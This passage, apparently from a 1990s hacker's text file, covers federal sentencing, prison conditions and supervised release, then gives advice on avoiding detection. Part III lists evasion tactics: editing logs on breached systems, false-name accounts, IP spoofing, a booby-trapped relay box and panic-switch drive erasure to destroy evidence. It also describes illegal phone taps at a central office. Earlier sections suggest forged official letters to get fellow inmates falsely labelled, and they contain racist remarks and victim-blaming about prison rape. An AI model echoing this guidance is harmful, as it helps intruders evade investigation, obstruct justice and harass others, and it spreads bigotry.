be instrumental in lowering your sentence or correcting your PSR. One
|
||
important thing to know is that your PSR will follow you the whole time you
|
||
are incarcerated. The Bureau of Prisons uses the PSR to decide how to handle
|
||
you. This can affect your security level, your halfway house, your
|
||
eligibility for the drug program (which gives you a year off your sentence),
|
||
and your medical care. So make sure your PSR is accurate before you get
|
||
sentenced!
|
||
|
||
P. GETTING YOUR PROPERTY BACK
|
||
|
||
In most cases it will be necessary to formally ask the court to have
|
||
your property returned. They are not going to just call you up and say "Do
|
||
you want this Sparc Station back or what?" No, they would just as soon keep it
|
||
and not asking for it is as good as telling them they can have it.
|
||
|
||
You will need to file a 41(e) "Motion For Return Of Property." The
|
||
courts' authority to keep your stuff is not always clear and will have to be
|
||
taken on a case-by-case basis. They may not care and the judge will simply
|
||
order that it be returned.
|
||
|
||
If you don't know how to write a motion, just send a formal letter to
|
||
the judge asking for it back. Tell him you need it for your job. This should
|
||
suffice, but there may be a filing fee.
|
||
|
||
Q. OUTSTANDING WARRANTS
|
||
|
||
If you have an outstanding warrant or charges pending in another
|
||
jurisdiction you would be wise to deal with them as soon as possible -after-
|
||
you are sentenced. If you follow the correct procedure chances are good the
|
||
warrants will be dropped (quashed). In the worst case scenario, you will be
|
||
transported to the appropriate jurisdiction, plead guilty and have your "time
|
||
run concurrent." Typically in non-violent crimes you can serve several
|
||
sentences all at the same time. Many Federal inmates have their state time
|
||
run with their Federal time. In a nutshell: concurrent is good, consecutive
|
||
bad.
|
||
|
||
This procedure is referred to as the Interstate Agreement On Detainers
|
||
Act (IADA). You may also file a "demand for speedy trial", with the
|
||
appropriate court. This starts the meter running. If they don't extradite
|
||
you within a certain period of time, the charges will have to be dropped. The
|
||
"Inmates' Self-Help Litigation Manual" that I mentioned earlier covers this
|
||
topic quite well.
|
||
|
||
R. ENCRYPTION
|
||
|
||
There are probably a few of you out there saying, "I triple DES
|
||
encrypt my hard drive and 128 character RSA public key it for safety." Well,
|
||
that's just great, but... the Feds can have a grand jury subpoena your
|
||
passwords and if you don't give them up you may be charged with obstruction of
|
||
justice. Of course who's to say otherwise if you forgot your password in all
|
||
the excitement of getting arrested. I think I heard this once or twice before
|
||
in a Senate Sub-committee hearing. "Senator, I have no recollection of the
|
||
aforementioned events at this time." But seriously, strong encryption is
|
||
great. However, it would be foolish to rely on it. If the Feds have your
|
||
computer and access to your encryption software itself, it is likely they
|
||
could break it given the motivation. If you understand the true art of code
|
||
breaking you should understand this. People often overlook the fact that your
|
||
password, the one you use to access your encryption program, is typically less
|
||
than 8 characters long. By attacking the access to your encryption program
|
||
with a keyboard emulation sequencer your triple DES/128 bit RSA crypto is
|
||
worthless. Just remember, encryption may not protect you.
|
||
|
||
S. LEGAL SUMMARY
|
||
|
||
Before I move on to the Life in Prison subpart, let me tell you what
|
||
this all means. You're going to get busted, lose everything you own, not get
|
||
out on bail, snitch on your enemies, get even more time than you expected and
|
||
have to put up with a bunch of idiots in prison. Sound fun? Keep hacking.
|
||
And, if possible, work on those sensitive .gov sites. That way they can hang
|
||
an espionage rap on you. That will carry about 12 to 18 years for a first
|
||
time offender.
|
||
|
||
I know this may all sound a bit bleak, but the stakes for hackers have
|
||
gone up and you need to know what they are. Let's take a look at some recent
|
||
sentences:
|
||
|
||
Agent Steal (me) 41 months
|
||
Kevin Poulsen 51 months
|
||
Minor Threat 70 months
|
||
Kevin Mitnick estimated 7-9 years
|
||
|
||
As you can see, the Feds are giving out some time now. If you are
|
||
young, a first-time offender, unsophisticated (like MOD), and were just
|
||
looking around in some little company's database, you might get probation. But
|
||
chances are that if that is all you were doing, you would have been passed
|
||
over for prosecution. As a rule, the Feds won't take the case unless $10,000
|
||
in damages are involved. The problem is who is to say what the loss is? The
|
||
company can say whatever figure it likes and it would be tough to prove
|
||
otherwise. They may decide to, for insurance purposes, blame some huge
|
||
downtime expense on you. I can hear it now, "When we detected the intruder,
|
||
we promptly took our system off-line. It took us two weeks to bring it up
|
||
again for a loss in wasted manpower of $2 million." In some cases you might
|
||
be better off just using the company's payroll system to cut you a couple of
|
||
$10,000 checks. That way the government has a firm loss figure. This would
|
||
result in a much shorter sentence. I'm not advocating blatant criminal actions.
|
||
I just think the sentencing guidelines definitely need some work.
|
||
|
||
|
||
PART II - FEDERAL PRISON
|
||
|
||
|
||
A. STATE v. FEDERAL
|
||
|
||
In most cases I would say that doing time in a Federal Prison is better
|
||
than doing time in the state institutions. Some state prisons are such
|
||
violent and pathetic places that it's worth doing a little more time in the
|
||
Federal system. This is going to be changing however. The public seems to
|
||
think that prisons are too comfortable and as a result Congress has passed a
|
||
few bills to toughen things up.
|
||
|
||
Federal prisons are generally going to be somewhat less crowded,
|
||
cleaner, and more laid back. The prison I was at looked a lot like a college
|
||
campus with plenty of grass and trees, rolling hills, and stucco buildings. I
|
||
spent most of my time in the library hanging out with Minor Threat. We would
|
||
argue over who was more elite. "My sentence was longer," he would argue. "I
|
||
was in more books and newspapers," I would rebut. (humor)
|
||
|
||
Exceptions to the Fed is better rule would be states that permit
|
||
televisions and word processors in your cell. As I sit here just prior to
|
||
release scribbling this article with pen and paper I yearn for even a Smith
|
||
Corona with one line display. The states have varying privileges. You could
|
||
wind up someplace where everything gets stolen from you. There are also
|
||
states that are abolishing parole, thus taking away the ability to get out
|
||
early with good behavior. That is what the Feds did.
|
||
|
||
B. SECURITY LEVELS
|
||
|
||
The Bureau of Prisons (BOP) has six security levels. Prisons are
|
||
assigned a security level and only prisoners with the appropriate ratings are
|
||
housed there. Often the BOP will have two or three facilities at one location.
|
||
Still, they are essentially separate prisons, divided by fences.
|
||
|
||
The lowest level facility is called a minimum, a camp, or FPC.
|
||
Generally speaking, you will find first time, non-violent offenders with less
|
||
than 10 year sentences there. Camps have no fences. Your work assignment at
|
||
a camp is usually off the prison grounds at a nearby military base. Other
|
||
times camps operate as support for other nearby prisons.
|
||
|
||
The next level up is a low Federal Correctional Institution (FCI).
|
||
These are where you find a lot of people who should be in a camp but for some
|
||
technical reason didn't qualify. There is a double fence with razor wire
|
||
surrounding it. Again you will find mostly non-violent types here. You would
|
||
really have to piss someone off before they would take a swing at you.
|
||
|
||
Moving up again we get to medium and high FCI's which are often
|
||
combined. More razor wire, more guards, restricted movement and a rougher
|
||
crowd. It's also common to find people with 20 or 30+ year sentences.
|
||
Fighting is much more common. Keep to yourself, however, and people generally
|
||
leave you alone. Killings are not too terribly common. With a prison
|
||
population of 1500-2000, about one or two a year leave on a stretcher and don't
|
||
come back.
|
||
|
||
The United States Penitentiary (U.S.P.) is where you find the murderers,
|
||
rapists, spies and the roughest gang bangers. "Leavenworth" and "Atlanta" are
|
||
the most infamous of these joints. Traditionally surrounded by a 40 foot
|
||
brick wall, they take on an ominous appearance. The murder rate per prison
|
||
averages about 30 per year with well over 250 stabbings.
|
||
|
||
The highest security level in the system is Max, sometimes referred to
|
||
as "Supermax." Max custody inmates are locked down all the time. Your mail is
|
||
shown to you over a TV screen in your cell. The shower is on wheels and it
|
||
comes to your door. You rarely see other humans and if you do leave your cell
|
||
you will be handcuffed and have at least a three guard escort. Mr. Gotti, the
|
||
Mafia boss, remains in Supermax. So does Aldridge Ames, the spy.
|
||
|
||
|
||
C. GETTING DESIGNATED
|
||
|
||
Once you are sentenced, the BOP has to figure out what they want to do
|
||
with you. There is a manual called the "Custody and Classification Manual"
|
||
that they are supposed to follow. It is publicly available through the
|
||
Freedom of Information Act and it is also in most prison law libraries.
|
||
Unfortunately, it can be interpreted a number of different ways. As a result,
|
||
most prison officials responsible for classifying you do pretty much as they
|
||
please.
|
||
|
||
Your first classification is done by the Region Designator at BOP
|
||
Regional Headquarters. As a computer hacker you will most likely be placed in
|
||
a camp or a low FCI. This is assuming you weren't pulling bank jobs on the
|
||
side. -IF- you do wind up in an FCI, you should make it to a camp after six
|
||
months. This is assuming you behave yourself.
|
||
|
||
Another thing the Region Designator will do is to place a "Computer
|
||
No" on your file. This means you will not be allowed to operate a computer at
|
||
your prison work assignment. In my case I wasn't allowed to be within 10 feet
|
||
of one. It was explained to me that they didn't even want me to know the
|
||
types of software they were running. Incidentally, the BOP uses PC/Server
|
||
based LANs with NetWare 4.1 running on Fiber 10baseT Ethernet connections to
|
||
Cabletron switches and hubs. PC based gateways reside at every prison. The
|
||
connection to the IBM mainframe (Sentry) is done through leased lines via
|
||
Sprintnet's Frame Relay service with 3270 emulation software/hardware resident
|
||
on the local servers. Sentry resides in Washington, D.C. with SNA type
|
||
network concentrators at the regional offices. ;-) And I picked all of this up
|
||
without even trying to. Needless to say, BOP computer security is very lax.
|
||
Many of their publicly available "Program Statements" contain specific
|
||
information on how to use Sentry and what it's designed to do. They have other
|
||
networks as well, but this is not a tutorial on how to hack the BOP. I'll save
|
||
that for if they ever really piss me off. (humor)
|
||
|
||
Not surprisingly, the BOP is very paranoid about computer hackers. I
|
||
went out of my way not to be interested in their systems or to receive
|
||
computer security related mail. Nevertheless, they tried restricting my mail
|
||
on numerous occasions. After I filed numerous grievances and had a meeting
|
||
with the warden, they decided I was probably going to behave myself. My 20 or
|
||
so magazine subscriptions were permitted to come in, after a special screening.
|
||
Despite all of that I still had occasional problems, usually when I received
|
||
something esoteric in nature. It's my understanding, however, that many
|
||
hackers at other prisons have not been as fortunate as I was.
|
||
|
||
D. IGNORANT INMATES
|
||
|
||
You will meet some of the stupidest people on the planet in prison. I
|
||
suppose that is why they are there, too dumb to do anything except crime. And
|
||
for some strange reason these uneducated low class common thieves think they
|
||
deserve your respect. In fact they will often demand it. These are the same
|
||
people that condemn everyone who cooperated, while at the same time feel it is
|
||
fine to break into your house or rob a store at gunpoint. These are the types
|
||
of inmates you will be incarcerated with, and occasionally these inmates will
|
||
try to get over on you. They will do this for no reason other than the fact
|
||
you are an easy mark.
|
||
|
||
There are a few tricks hackers can do to protect themselves in prison.
|
||
The key to your success is acting before the problem escalates. It is also
|
||
important to have someone outside (preferably another hacker) that can do some
|
||
social engineering for you. The objective is simply to have your problem
|
||
inmate moved to another institution. I don't want to give away my methods but
|
||
if staff believes that an inmate is going to cause trouble, or if they believe
|
||
his life is in danger, they will move him or lock him away in segregation.
|
||
Social engineered letters (official looking) or phone calls from the right
|
||
source to the right department will often evoke brisk action. It's also quite
|
||
simple to make an inmates life quite miserable. If the BOP has reason to
|
||
believe that an inmate is an escape risk, a suicide threat, or had pending
|
||
charges, they will handle them much differently. Tacking these labels on an
|
||
inmate would be a real nasty trick. I have a saying: "Hackers usually have
|
||
the last word in arguments." Indeed.
|
||
|
||
Chances are you won't have many troubles in prison. This especially
|
||
applies if you go to a camp, mind your own business, and watch your mouth.
|
||
Nevertheless, I've covered all of this in the event you find yourself caught
|
||
up in the ignorant behavior of inmates whose lives revolve around prison. And
|
||
one last piece of advice, don't make threats, truly stupid people are too
|
||
stupid to fear anything, particularly an intelligent man. Just do it.
|
||
|
||
E. POPULATION
|
||
|
||
The distribution of blacks, whites and Hispanics varies from
|
||
institution to institution. Overall it works out to roughly 30% white, 30%
|
||
Hispanic and 30% black. The remaining 10% are various other races. Some
|
||
joints have a high percent of blacks and vice versa. I'm not necessarily a
|
||
prejudiced person, but prisons where blacks are in majority are a nightmare.
|
||
Acting loud, disrespectful, and trying to run the place is par for the course.
|
||
|
||
In terms of crimes, 60% of the Federal inmate population are
|
||
incarcerated for drug related crimes. The next most common would be bank
|
||
robbery (usually for quick drug money), then various white collar crimes. The
|
||
Federal prison population has changed over the years. It used to be a place
|
||
for the criminal elite. The tough drug laws have changed all of that.
|
||
|
||
Just to quell the rumors, I'm going to cover the topic of prison rape.
|
||
Quite simply, in medium and low security level Federal prisons it is unheard
|
||
of. In the highs it rarely happens. When it does happen, one could argue
|
||
that the victim was asking for it. I heard an inmate say once, "You can't
|
||
make no inmate suck cock that don't wanta." Indeed. In my 41 months of
|
||
incarceration, I never felt in any danger. I would occasionally have inmates
|
||
that would subtly ask me questions to see where my preferences lie, but once I
|
||
made it clear that I didn't swing that way I would be left alone. Hell, I got
|
||
hit on more often when I was hanging out in Hollywood!
|
||
|
||
On the other hand, state prisons can be a hostile environment for rape
|
||
and fighting in general. Many of us heard how Bernie S. got beat up over use
|
||
of the phone. Indeed, I had to get busy a couple of times. Most prison
|
||
arguments occur over three simple things: the phone, the TV and money/drugs.
|
||
If you want to stay out of trouble in a state prison, or Federal for that
|
||
matter, don't use the phone too long, don't change the channel and don't get
|
||
involved in gambling or drugs. As far as rape goes, pick your friends
|
||
carefully and stick with them. And always, always, be respectful. Even if
|
||
the guy is a fucking idiot (and most inmates are), say excuse me.
|
||
|
||
My final piece of prison etiquette advice would be to never take your
|
||
inmate problems to "the man" (prison staff). Despite the fact that most
|
||
everyone in prison snitched on their co-defendants at trial, there is no
|
||
excuse for being a prison rat. The rules are set by the prisoners themselves.
|
||
If someone steps out of line there will likely be another inmate who will be
|
||
happy to knock him back. In some prisons inmates are so afraid of being
|
||
labeled a rat that they refuse to be seen talking alone with a prison staff
|
||
member. I should close this paragraph by stating that this bit of etiquette
|
||
is routinely ignored as other inmates will snitch on you for any reason
|
||
whatsoever. Prison is a strange environment.
|
||
|
||
F. DOING TIME
|
||
|
||
You can make what you want to out of prison. Some people sit around
|
||
and do dope all day. Others immerse themselves in a routine of work and
|
||
exercise. I studied technology and music. Regardless, prisons are no longer
|
||
a place of rehabilitation. They serve only to punish and conditions are only
|
||
going to worsen. The effect is that angry, uneducated, and unproductive
|
||
inmates are being released back into society.
|
||
|
||
While I was incarcerated in 95/96, the prison band program was still
|
||
in operation. I played drums for two different prison bands. It really helped
|
||
pass the time and when I get out I will continue with my career in music. Now
|
||
the program has been canceled, all because some senator wanted to be seen as
|
||
being tough on crime. Bills were passed in Congress. The cable TV is gone,
|
||
pornography mags are no longer permitted, and the weight piles are being
|
||
removed. All this means is that prisoners will have more spare time on their
|
||
hands, and so more guards will have to be hired to watch the prisoners. I
|
||
don't want to get started on this subject. Essentially what I'm saying is
|
||
make something out of your time. Study, get in to a routine and before you
|
||
know you'll be going home, and a better person on top of it.
|
||
|
||
G. DISCIPLINARY ACTIONS
|
||
|
||
What fun is it if you go to prison and don't get into some mischief?
|
||
Well, I'm happy to say the only "shots" (violations) I ever received were for
|
||
having a friend place a call with his three-way calling for me (you can't call
|
||
everyone collect), and drinking homemade wine. |-) The prison occasionally
|
||
monitors your phone calls and on the seven or eight hundredth time I made a
|
||
three-way I got caught. My punishment was ten hours of extra duty (cleaning
|
||
up). Other punishments for shots include loss of phone use, loss of
|
||
commissary, loss of visits, and getting thrown in the hole. Shots can also
|
||
increase your security level and can get you transferred to a higher level
|
||
institution. If you find yourself having trouble in this area you may want to
|
||
pick up the book, "How to win prison disciplinary hearings", by Alan Parmelee,
|
||
206-328-2875.
|
||
|
||
H. ADMINISTRATIVE REMEDY
|
||
|
||
If you have a disagreement with the way staff is handling your case
|
||
(and you will) or another complaint, there is an administrative remedy
|
||
procedure. First you must try to resolve it informally. Then you can file a
|
||
form BP-9. The BP-9 goes to the warden. After that you can file a BP-10
|
||
which goes to the region. Finally, a BP-11 goes to the National BOP
|
||
Headquarters (Central Office). The whole procedure is a joke and takes about
|
||
six months to complete. Delay and conquer is the BOP motto. After you
|
||
complete the remedy process to no avail, you may file your action in a civil
|
||
court. In some extreme cases you may take your case directly to the courts
|
||
without exhausting the remedy process. Again, the "Prisoners Self-Help
|
||
Litigation Manual" covers this quite well.
|
||
|
||
My best advice with this remedy nonsense is to keep your request brief,
|
||
clear, concise and only ask for one specific thing per form. Usually if you
|
||
"got it coming" you will get it. If you don't, or if the BOP can find any
|
||
reason to deny your request, they will.
|
||
|
||
For this reason I often took my problems outside the prison from the
|
||
start. If it was a substantial enough issue I would inform the media, the
|
||
director of the BOP, all three of my attorneys, my judge and the ACLU. Often
|
||
this worked. It always pissed them off. But, alas I'm a man of principle and
|
||
if you deprive me of my rights I'm going to raise hell. In the past I might
|
||
have resorted to hacker tactics, like disrupting the BOP's entire
|
||
communication system bringing it crashing down! But...I'm rehabilitated now.
|
||
Incidentally, most BOP officials and inmates have no concept of the kind of
|
||
havoc a hacker can wield on an individuals life. So until some hacker shows
|
||
the BOP which end is up you will have to accept the fact most everyone you
|
||
meet in prison will have only nominal respect for you. Deal with it, you're
|
||
not in cyberspace anymore.
|
||
|
||
I. PRISON OFFICIALS
|
||
|
||
There are two types, dumb and dumber. I've had respect for several
|
||
but I've never met one that impressed me as being particularly talented in a
|
||
way other than following orders. Typically you will find staff that are
|
||
either just doing their job, or staff that is determined to advance their
|
||
career. The latter take their jobs and themselves way too seriously. They
|
||
don't get anywhere by being nice to inmates so they are often quite curt.
|
||
Ex-military and law enforcement wannabes are commonplace. All in all they're
|
||
a pain in the ass but easy to deal with. Anyone who has ever been down
|
||
(incarcerated) for awhile knows it's best to keep a low profile. If they don't
|
||
know you by name you're in good shape.
|
||
|
||
One of the problems that computer hackers will encounter with prison
|
||
staff is fear and/or resentment. If you are a pretentious articulate educated
|
||
white boy like myself you would be wise to act a little stupid. These people
|
||
don't want to respect you and some of them will hate everything that you stand
|
||
for. Many dislike all inmates to begin with. And the concept of you someday
|
||
having a great job and being successful bothers them. It's all a rather
|
||
bizarre environment where everyone seems to hate their jobs. I guess I've led
|
||
a sheltered life.
|
||
|
||
Before I move on, sometimes there will be certain staff members, like
|
||
your Case Manager, that will have a substantial amount of control over your
|
||
situation. The best way to deal with the person is to stay out of their way.
|
||
Be polite, don't file grievances against them and hope that they will take
|
||
care of you when it comes time. If this doesn't seem to work, then you need
|
||
to be a total pain in the ass and ride them with every possible request you
|
||
can muster. It's especially helpful if you have outside people willing to
|
||
make calls. Strong media attention will usually, at the very least, make the
|
||
prison do what they are supposed to do. If you have received a lot of bad
|
||
press, this could be a disadvantage. If your care continues to be a problem,
|
||
the prison will transfer you to another facility where you are more likely to
|
||
get a break. All in all how you choose to deal with staff is often a
|
||
difficult decision. My advice is that unless you are really getting screwed
|
||
over or really hate the prison you are in, don't rock the boat.
|
||
|
||
J. THE HOLE
|
||
|
||
Segregation sucks, but chances are you will find yourself there at
|
||
some point and usually for the most ridiculous of reasons. Sometimes you will
|
||
wind up there because of what someone else did. The hole is a 6' x 10'
|
||
concrete room with a steel bed and steel toilet. Your privileges will vary,
|
||
but at first you get nothing but a shower every couple of days. Naturally they
|
||
feed you but, it's never enough, and it's often cold. With no snacks you
|
||
often find yourself quite hungry in-between meals. There is nothing to do
|
||
there except read and hopefully some guard has been kind enough to throw you
|
||
some old novel.
|
||
|
||
Disciplinary actions will land you in the hole for typically a week or
|
||
two. In some cases you might get stuck there for a month or three. It depends
|
||
on the shot and on the Lieutenant that sent you there. Sometimes people never
|
||
leave the hole....
|
||
|
||
K. GOOD TIME
|
||
|
||
You get 54 days per year off of your sentence for good behavior. If
|
||
anyone tells you that a bill is going to be passed to give 108 days, they are
|
||
lying. 54 days a year works out to 15% and you have to do something
|
||
significant to justify getting that taken away. The BOP has come up with the
|
||
most complicated and ridiculous way to calculate how much good time you have
|
||
earned. They have a book about three inches thick that discusses how to
|
||
calculate your exact release date. I studied the book intensely and came to
|
||
the conclusion that the only purpose it serves is to covertly steal a few days
|
||
of good time from you. Go figure.
|
||
|
||
L. HALFWAY HOUSE
|
||
|
||
All "eligible" inmates are to serve the last 10% of their sentence
|
||
(not to exceed six months) in a Community Corrections Center (CCC). At the CCC
|
||
, which is nothing more than a large house in a bad part of town, you are to
|
||
find a job in the community and spend your evenings and nights at the CCC. You
|
||
have to give 25% of the gross amount of your check to the CCC to pay for all of
|
||
your expenses, unless you are a rare Federal prisoner sentenced to serve all of
|
||
your time at the CCC in which case it is 10%. They will breathalyse and
|
||
urinanalyse you routinely to make sure you are not having too much fun. If
|
||
you're a good little hacker you'll get a weekend pass so you can stay out all
|
||
night. Most CCCs will transfer you to home confinement status after a few
|
||
weeks. This means you can move into your own place, (if they approve it) but
|
||
still have to be in for the evenings. They check up on you by phone. And no,
|
||
you are not allowed call forwarding, silly rabbit.
|
||
|
||
M. SUPERVISED RELEASE
|
||
|
||
Just when you think the fun is all over, after you are released from
|
||
prison or the CCC, you will be required to report to a Probation Officer. For
|
||
the next 3 to 5 years you will be on Supervised Release. The government
|
||
abolished parole, thereby preventing convicts from getting out of prison early.
|
||
Despite this they still want to keep tabs on you for awhile.
|
||
|
||
Supervised Release, in my opinion, is nothing more than extended
|
||
punishment. You are a not a free man able to travel and work as you please.
|
||
All of your activities will have to be presented to your Probation Officer
|
||
(P.O.). And probation is essentially what Supervised Release is. Your P.O.
|
||
can violate you for any technical violations and send you back to prison for
|
||
several months, or over a year. If you have ANY history of drug use you will
|
||
be required to submit to random (weekly) urinalyses. If you come up dirty it's
|
||
back to the joint.
|
||
|
||
As a hacker you may find that your access to work with, or possession
|
||
of computer equipment may be restricted. While this may sound pragmatic to
|
||
the public, in practice it serves no other purpose that to punish and limit a
|
||
former hacker's ability to support himself. With computers at libraries, copy
|
||
shops, schools, and virtually everywhere, it's much like restricting someone
|
||
who used a car to get to and from a bank robbery to not ever drive again. If a
|
||
hacker is predisposed to hacking he's going to be able to do it with or
|
||
without restrictions. In reality many hackers don't even need a computer to
|
||
achieve their goals. As you probably know a phone and a little social
|
||
engineering go a long way.
|
||
|
||
But with any luck you will be assigned a reasonable P.O. and you will
|
||
stay out of trouble. If you give your P.O. no cause to keep an eye on you,
|
||
you may find the reins loosening up. You may also be able to have your
|
||
Supervised Release terminated early by the court. After a year or so, with
|
||
good cause, and all of your government debts paid, it might be plausible. Hire
|
||
an attorney, file a motion.
|
||
|
||
For many convicts Supervised Release is simply too much like being in
|
||
prison. For those it is best to violate, go back to prison for a few months,
|
||
and hope the judge terminates their Supervised Release. Although the judge
|
||
may continue your supervision, he/she typically will not.
|
||
|
||
|
||
PART III
|
||
|
||
|
||
A. HOW TO AVOID DETECTION
|
||
|
||
Now that you know what kind of trouble you are facing I'll go back to
|
||
the beginning. If what I've just covered doesn't make you want to stop
|
||
hacking then you had better learn how to protect yourself. Many hackers feel
|
||
they have some god given constitutional right to hack. Many don't believe it
|
||
should be illegal. Well, neurosis and personality disorders work in strange
|
||
ways. Regardless, I'll cover the topic of stealth. Please note that I in no
|
||
way advocate or encourage hacking. This technical information is being
|
||
provided for educational purposes only. And as I mentioned you may feel you
|
||
have a perfectly legitimate reason for avoiding detection, simply trying to
|
||
stay clear of other hackers would be an acceptable reason. This paper (I'm
|
||
sure) will also serve to educate law enforcement officials on the methods
|
||
currently being deployed by hackers to avoid detection.
|
||
|
||
Avoiding being identified while hacking is in actually a rather simple
|
||
feat, assuming you follow a few simple rules. Unfortunately, very few
|
||
people bother with them, due typically to arrogance and ego. Which as I have
|
||
noticed, seems to be a trait that is a prerequisite to being a successful
|
||
hacker. I've never met a hacker who didn't think he was the shit. And when
|
||
it gets right down to it that was the reason that Mitnick got caught. I'll
|
||
examine this incident a little later.
|
||
|
||
So I will list here a few of the basic rules I used, and then I'll
|
||
expound upon them a little later.
|
||
|
||
* Most important of all, I would never tell another hacker who I was,
|
||
where I lived, or give out my home phone number. (OK, I screwed up
|
||
on that one.)
|
||
|
||
* I didn't set up network access accounts up in my real name or use
|
||
my real address.
|
||
|
||
* I didn't set up phone numbers in my real name.
|
||
|
||
* I would never dial directly in to anything I was hacking.
|
||
|
||
* I would set up some kind of notification system that would let me
|
||
know if someone was trying to figure out where I was connecting from.
|
||
|
||
* I didn't transmit personal data on systems I had have hacked into.
|
||
|
||
* When I used a network or computer for work or social objectives, I
|
||
tried to keep it separate from my hacking.
|
||
|
||
* I never assumed that just by connecting through a bunch of different
|
||
networks or using cellular phones that I was safe. Even though most
|
||
cellular networks do not have triangulation equipment installed they
|
||
still have the ability to narrow a transmitting location down to a
|
||
square mile of even a few blocks, this even well after you have dis-
|
||
connected.
|
||
|
||
* The minute I got into a system I would examine and edit all of the
|
||
logs. I would also look for email daemons on admin or admin assoc-
|
||
iated accts. that sent out copies of the system security logs.
|
||
|
||
* When setting up accts. on systems I would use different login ID's.
|
||
|
||
* I never went to hacker cons. (Until I worked with the FBI)
|
||
|
||
* I would change network access dial up accts. and dial up numbers
|
||
every so often. I would also change living locations every 8-12
|
||
months.
|
||
|
||
* I would keep in mind that the numbers I dialed on my phone could
|
||
eventually be used to track me again. For example, if I called my
|
||
girl friend frequently, after I changed numbers and location I might
|
||
still be calling that number. The telcos now have toll record data
|
||
base software that can cross reference and track this type of thing.
|
||
|
||
* I rarely used IRC until I worked with the FBI. If -you- must, change
|
||
your handle frequently, remain in invisible mode, and if you're leet
|
||
enough, spoof your IP. Remember that you should never trust other
|
||
hackers. Many times association with them will cause you as much
|
||
trouble as a run in with the Feds.
|
||
|
||
And yes the FBI logs all of the IRC channels and searches them for key
|
||
words when they are looking for information on someone or some breech. There
|
||
is a secret logging program running on a special irc.server that doesn't
|
||
accept port 6667 connections, etc. Doesn't show up as a link either. Hmm. ;-)
|
||
|
||
Following all of those rules would be tough. The fact of the matter
|
||
is if you generate enough interest and piss off the right people, they will
|
||
come after you. However, the FBI routinely passes over low level hackers.
|
||
When I worked with the Bureau I was instructed that only the most malicious
|
||
and aggressive hackers where to be investigated. Fine with me, wasn't my goal
|
||
in life to put a bunch a little hacker dorks in jail. It's not real easy to
|
||
catch an accomplished hacker but it can be done, it's really just a matter of
|
||
contacting all of the right people and putting a little time into it.
|
||
Typically hackers get caught because someone snitched. Thus the importance of
|
||
my first rule, I never told anyone who I really was. The other primary reason
|
||
for getting caught is arrogance or underestimating the abilities of the
|
||
authorities. Poulsen didn't believe an investigator would sit outside of a
|
||
grocery store for a week on the off chance he might show up. Poulsen had used
|
||
the pay phones at that store a few times, which was determined by a toll
|
||
record search. Mitnick didn't think someone would go through the trouble of
|
||
doing toll searches on cell phone records then radio frequency triangulating
|
||
his location.
|
||
|
||
Poulsen and I went through some rather elaborate anti-detection
|
||
procedures. Since I had physical access to my local telco Central Office I
|
||
would activate, connect, and wire all of my own phone services. There was
|
||
essentially no record of my phone number or cable and pair data. In addition,
|
||
I ran the wires going into my apartment through a trash chute, over the roof
|
||
covered by tar, and down a vent pipe into my bathroom. The connection to the
|
||
bridging terminal (F2) was through a hole drilled into the back of the
|
||
junction box. Examination of the telephone box in the basement of my building
|
||
revealed no connections, you would have had to take the box apart to see it.
|
||
And if that wasn't enough over at the C.O. I tapped on to the output channel
|
||
(SC1, which was the feed to SCCS) of the 1AESS telephone switch and ran it up
|
||
to my apartment. There I had an old PC-XT with a Bell 202 modem watching the
|
||
1AESS output. Poulsen wrote a small basic program that looked for call traces
|
||
and any other suspicious activity. The XT would start beeping and print out
|
||
any of those output messages. Elaborate indeed.
|
||
|
||
|
||
B. THE STEALTH BOX
|
||
|
||
|
||
But a truly good anti-detection system would notify you absolutely if
|
||
someone was attempting to trace your connection. In addition, it would
|
||
terminate the connection before it allowed someone to see where it was going.
|
||
What I am suggesting is some type of dial in/dial out mechanism. For example,
|
||
2 modems connected back to back, with their 232 ports connected. They would
|
||
then be placed in a generic wall mounted box in anonymous phone closet
|
||
somewhere. In addition, a stun gun would be wired to give the modems a death
|
||
shock if the box was opened by an unauthorized person. A password would be
|
||
set on the modem for dial out and the phone lines feeding the two modems would
|
||
have to be set up under separate accounts. This would require anyone
|
||
investigating, to come out and take a gander at this device to determine that,
|
||
it's not the location of the hacker, and that yet another call trace is in
|
||
order to see who is dialing in. However, having opened the box the
|
||
investigator has disabled the device and when you dial in you'll know that
|
||
something is up. Even if they attempt to replace the device, they could never
|
||
know the original password, or even if there was one. It would be further
|
||
advisable to disguise the telephone lines feeding the device, making it
|
||
necessary to open the box to identify them.
|
||
|
||
Well that's just an idea for the design of an anti-detection device.
|
||
It's obviously a bit complex, but you get the idea. My point being that
|
||
avoiding detection is not a simple task. If someone wants you they can get
|
||
you. There really isn't such a thing as a secure connection; virtually
|
||
everything can be traced, short of a highly directional data burst satellite
|
||
uplink. At that point the Air Force National Reconnaissance Office (NRO) or
|
||
the NSA would have to get involved, big bucks.
|
||
|
||
Aside from setting up physical hardware another idea would be to find
|
||
a Sysadmin that will let you use his system to connect through. If you trust
|
||
him to tell you if there has been an inquiry regarding your connection then
|
||
you might be OK. It would also be wise to set up background processes that
|
||
monitor finger and other related probes of your account. Watch them watch you.
|
||
|
||
As I mentioned earlier if you fall under surveillance there will be
|
||
2-way radio traffic in your vicinity. Using the Opto-Electronics Explorer
|
||
will detect this and you can further investigate to see who it may be. Good
|
||
physical surveillance is difficult to detect. Bad physical surveillance is
|
||
comical.
|
||
|
||
|
||
C. MORE PROTECTION
|
||
|
||
|
||
I covered encryption earlier and as I mentioned it really is not safe
|
||
to assume that it will protect you from someone who takes possession of your
|
||
computer. The only truly safe encryption would be a military spec.
|
||
hardware/software implementation. When people talk about secure encryption
|
||
they are not taking into account that all the power of a Government might be
|
||
trying to crack it, and that they will have physical access to the encryption
|
||
device, your computer! This leaves us with one other method, destroying the
|
||
data. Now this in and of it's self can be construed as obstruction of
|
||
justice. However, should you feel the need to instantly destroy all of the
|
||
data on your hard drive, for oh.. lets say educational purposes. I would
|
||
suggest mounting a bulk magnetic tape eraser next to your hard drive. You can
|
||
pick one up at Radio Hack, err Shack. One flip of the panic switch, thus
|
||
powering up the eraser while the drive is turning, and ZAP! Mount a switch
|
||
next to your bed. ;-)
|
||
|
||
This may or may not destroy all of the data on your drive. If the
|
||
drive disk is removed and placed on a special reader some data may still be
|
||
recovered. This is a science in itself. DOD spec. requires that a hard drive
|
||
be written to with O's 7 times before it is considered erased. Simply erasing
|
||
a file, formatting, or defragging will not suffice. Look for a shareware
|
||
utility named "BCwipe". This will erase to military spec. You may also want
|
||
to install some type of program that auto erases under certain conditions.
|
||
Regardless, computer specialists that work with computer crime are trained to
|
||
look for this.
|
||
|
||
There are still a lot of issues that could be covered with respect to
|
||
